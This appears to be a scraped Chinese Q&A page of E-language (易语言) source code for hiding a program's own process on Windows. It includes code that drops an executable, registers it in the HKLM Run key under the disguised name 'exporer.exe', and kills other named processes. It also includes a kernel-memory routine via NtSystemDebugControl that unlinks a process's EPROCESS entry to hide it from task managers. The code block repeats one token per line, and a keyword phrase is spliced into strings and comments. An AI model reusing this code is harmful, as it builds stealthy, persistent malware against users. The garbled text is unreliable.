易语言写隐藏自身进程源码(易语言驱动隐藏进程)
本文目录一览:
易语言怎么写程序运行后 开机运行+删除自身+隐藏进程
路径 = “自定义你所需要写易语言写隐藏自身进程源码的到易语言写隐藏自身进程源码的目录”
写到文件 (路径, #资源1)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “资源1易语言写隐藏自身进程源码的名字.exe”)
运行(路径 + “\” + “资源1的名字.exe”, 真, )
句柄 = 取句柄 (“进程名”, “”, “”) ' 根据进程名取句柄
窗口隐藏显示 (句柄) ' 窗口隐藏启动的方式还可以把启动窗口的可视改为假.位置=2,边框=0 等各种方式实现.
易语言调用API实现隐藏进程
版本 2
.子程序 隐藏进程, 逻辑型, 公开
.参数 pid, 整数型, 可空, 空为隐藏本进程易语言写隐藏自身进程源码,可输入其它进程PID
.局部变量 eprocess, 长整数型
.局部变量 hand, 整数型
.局部变量 temp, 字节集
.局部变量 fw_, 长整数型
.局部变量 bw_, 长整数型
.局部变量 fw, 字节集
.局部变量 bw, 字节集
.如果 (是否为空 (pid))
hand = OpenProcess (2075311, 0, GetCurrentProcessId ())
eprocess = 取进程EProcess (GetCurrentProcessId ())
CloseHandle (hand)
.否则
eprocess = 取进程EProcess (pid)
.如果结束
.如果真 (eprocess = 0)
返回 (假)
.如果真结束
temp = 读物理内存 (eprocess + 136, 4)
.如果真 (temp = { })
返回 (假)
.如果真结束
fw_ = 取字节集数据 (temp, #长整数型, )
fw = temp
temp = 读物理内存 (eprocess + 140, 4)
.如果真 (temp = { })
返回 (假)
.如果真结束
bw_ = 取字节集数据 (temp, #长整数型, )
bw = temp
.如果真 (写物理内存 (fw_ + 4, bw) = -1)
返回 (假)
.如果真结束
.如果真 (写物理内存 (bw_, fw) = -1)
返回 (假)
.如果真结束
返回 (真)
//读物理内存
.版本 2
.子程序 读物理内存, 字节集
.参数 地址, 长整数型
.参数 长度, 整数型, , =4096
.局部变量 MEMORY_CHUNKS, 字节集
.局部变量 ret, 字节集
.局部变量 retlen, 整数型
ret = 取空白字节集 (长度)
MEMORY_CHUNKS = 取字节集左边 (到字节集 (地址), 4) + 到字节集 (取指针_字节集 (ret, ret, 0)) + 到字节集 (长度)
NtSystemDebugControl (#SysDbgReadVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12为MEMORY_CHUNKS易语言写隐藏自身进程源码的长度
.如果真 (retlen ≤ 0)
ret = { }
.如果真结束
返回 (ret)
//写物理内存
.版本 2
.子程序 写物理内存, 整数型
.参数 地址, 长整数型
.参数 数据, 字节集, , =4096
.局部变量 MEMORY_CHUNKS, 字节集
.局部变量 ret, 整数型
.局部变量 retlen, 整数型
.局部变量 len, 整数型
len = 取字节集长度 (数据)
MEMORY_CHUNKS = 取字节集左边 (到字节集 (地址), 4) + 到字节集 (取指针_字节集 (数据, 数据, 0)) + 到字节集 (len)
NtSystemDebugControl (#SysDbgWriteVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12为MEMORY_CHUNKS的长度
.如果真 (retlen ≤ 0)
ret = -1
.如果真结束
返回 (ret)
//取进程EProcess
.版本 2
.子程序 取进程EProcess, 长整数型
.参数 pid, 整数型
.局部变量 ret
.局部变量 信息块, 字节集
.局部变量 retlen
.局部变量 temp, SYSTEM_HANDLE_INFORMATION
.局部变量 信息块指针偏移
.局部变量 number
.局部变量 结果, 长整数型
retlen = 1
.循环判断首 ()
信息块 = 取空白字节集 (retlen)
ret = ZwQuerySystemInformation (#system_handle_infomation, 信息块, retlen, 0)
.如果 (ret = #STATUS_INFO_LENGTH_MISMATCH)
retlen = retlen × 2
信息块 = 取空白字节集 (retlen)
.否则
跳出循环 ()
.如果结束
.循环判断尾 (ret = #STATUS_INFO_LENGTH_MISMATCH)
信息块指针偏移 = 取指针_字节集 (信息块, 信息块, 0)
RtlMoveMemory3 (number, 信息块指针偏移, 4)
信息块指针偏移 = 信息块指针偏移 + 4
.计次循环首 (number, )
RtlMoveMemory2 (temp, 信息块指针偏移, 16)
.如果真 (pid = temp.ProcessId 且 temp.ObjectTypeNumber = 5)
返回 (十六文本至长整数 (取十六进制文本 (temp.Object)))
.如果真结束
信息块指针偏移 = 信息块指针偏移 + 16
.计次循环尾 ()
返回 (0)
这个是代码易语言写隐藏自身进程源码,运用写驱动来隐藏进程,这个是复制的,因为代码挺长的,就没有自己写。
如何用易语言编写隐藏进程?
你可以采用线程注入的方式嘛,或者用下面这个试试
子程序 __启动窗口_创建完毕进程隐藏 (取进程ID (“这个程序的进程!”), )时钟1.时钟周期 = 100.子程序 _时钟1_周期事件.如果 (进程是否存在 (“你要检测的进程”)) 进程结束 (取进程ID (“你要关闭的进程”)).否则.如果结束注意!下面这个要独立! 上面的写好后就编译下面的写好后运行将上面编译好的写到注册里 就OK了.子程序 写注册写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run\exporer.exe”, 取运行目录 () + “\” + 取执行文件名 (“你要写到注册的文件名!”))
谁有易语言隐藏进程代码
版本
2
.子程序
隐藏进程,
逻辑型,
公开
.参数
pid,
整数型,
可空,
空为隐藏本进程易语言写隐藏自身进程源码,可输入其它进程PID
.局部变量
eprocess,
长整数型
.局部变量
hand,
整数型
.局部变量
temp,
字节集
.局部变量
fw_,
长整数型
.局部变量
bw_,
长整数型
.局部变量
fw,
字节集
.局部变量
bw,
字节集
.如果
(是否为空
(pid))
hand
=
OpenProcess
(2075311,
0,
GetCurrentProcessId
())
eprocess
=
取进程EProcess
(GetCurrentProcessId
())
CloseHandle
(hand)
.否则
eprocess
=
取进程EProcess
(pid)
.如果结束
.如果真
(eprocess
=
0)
返回
(假)
.如果真结束
temp
=
读物理内存
(eprocess
+
136,
4)
.如果真
(temp
=
{
})
返回
(假)
.如果真结束
fw_
=
取字节集数据
(temp,
#长整数型,
)
fw
=
temp
temp
=
读物理内存
(eprocess
+
140,
4)
.如果真
(temp
=
{
})
返回
(假)
.如果真结束
bw_
=
取字节集数据
(temp,
#长整数型,
)
bw
=
temp
.如果真
(写物理内存
(fw_
+
4,
bw)
=
-1)
返回
(假)
.如果真结束
.如果真
(写物理内存
(bw_,
fw)
=
-1)
返回
(假)
.如果真结束
返回
(真)
//读物理内存
.版本
2
.子程序
读物理内存,
字节集
.参数
地址,
长整数型
.参数
长度,
整数型,
,
=4096
.局部变量
MEMORY_CHUNKS,
字节集
.局部变量
ret,
字节集
.局部变量
retlen,
整数型
ret
=
取空白字节集
(长度)
MEMORY_CHUNKS
=
取字节集左边
(到字节集
(地址),
4)
+
到字节集
(取指针_字节集
(ret,
ret,
0))
+
到字节集
(长度)
NtSystemDebugControl
(#SysDbgReadVirtualMemory,
MEMORY_CHUNKS,
12,
0,
0,
retlen)
'
12为MEMORY_CHUNKS易语言写隐藏自身进程源码的长度
.如果真
(retlen
≤
0)
ret
=
{
}
.如果真结束
返回
(ret)
//写物理内存
.版本
2
.子程序
写物理内存,
整数型
.参数
地址,
长整数型
.参数
数据,
字节集,
,
=4096
.局部变量
MEMORY_CHUNKS,
字节集
.局部变量
ret,
整数型
.局部变量
retlen,
整数型
.局部变量
len,
整数型
len
=
取字节集长度
(数据)
MEMORY_CHUNKS
=
取字节集左边
(到字节集
(地址),
4)
+
到字节集
(取指针_字节集
(数据,
数据,
0))
+
到字节集
(len)
NtSystemDebugControl
(#SysDbgWriteVirtualMemory,
MEMORY_CHUNKS,
12,
0,
0,
retlen)
'
12为MEMORY_CHUNKS的长度
.如果真
(retlen
≤
0)
ret
=
-1
.如果真结束
返回
(ret)
//取进程EProcess
.版本
2
.子程序
取进程EProcess,
长整数型
.参数
pid,
整数型
.局部变量
ret
.局部变量
信息块,
字节集
.局部变量
retlen
.局部变量
temp,
SYSTEM_HANDLE_INFORMATION
.局部变量
信息块指针偏移
.局部变量
number
.局部变量
结果,
长整数型
retlen
=
1
.循环判断首
()
信息块
=
取空白字节集
(retlen)
ret
=
ZwQuerySystemInformation
(#system_handle_infomation,
信息块,
retlen,
0)
.如果
(ret
=
#STATUS_INFO_LENGTH_MISMATCH)
retlen
=
retlen
×
2
信息块
=
取空白字节集
(retlen)
.否则
跳出循环
()
.如果结束
.循环判断尾
(ret
=
#STATUS_INFO_LENGTH_MISMATCH)
信息块指针偏移
=
取指针_字节集
(信息块,
信息块,
0)
RtlMoveMemory3
(number,
信息块指针偏移,
4)
信息块指针偏移
=
信息块指针偏移
+
4
.计次循环首
(number,
)
RtlMoveMemory2
(temp,
信息块指针偏移,
16)
.如果真
(pid
=
temp.ProcessId
且
temp.ObjectTypeNumber
=
5)
返回
(十六文本至长整数
(取十六进制文本
(temp.Object)))
.如果真结束
信息块指针偏移
=
信息块指针偏移
+
16
.计次循环尾
()
返回
(0)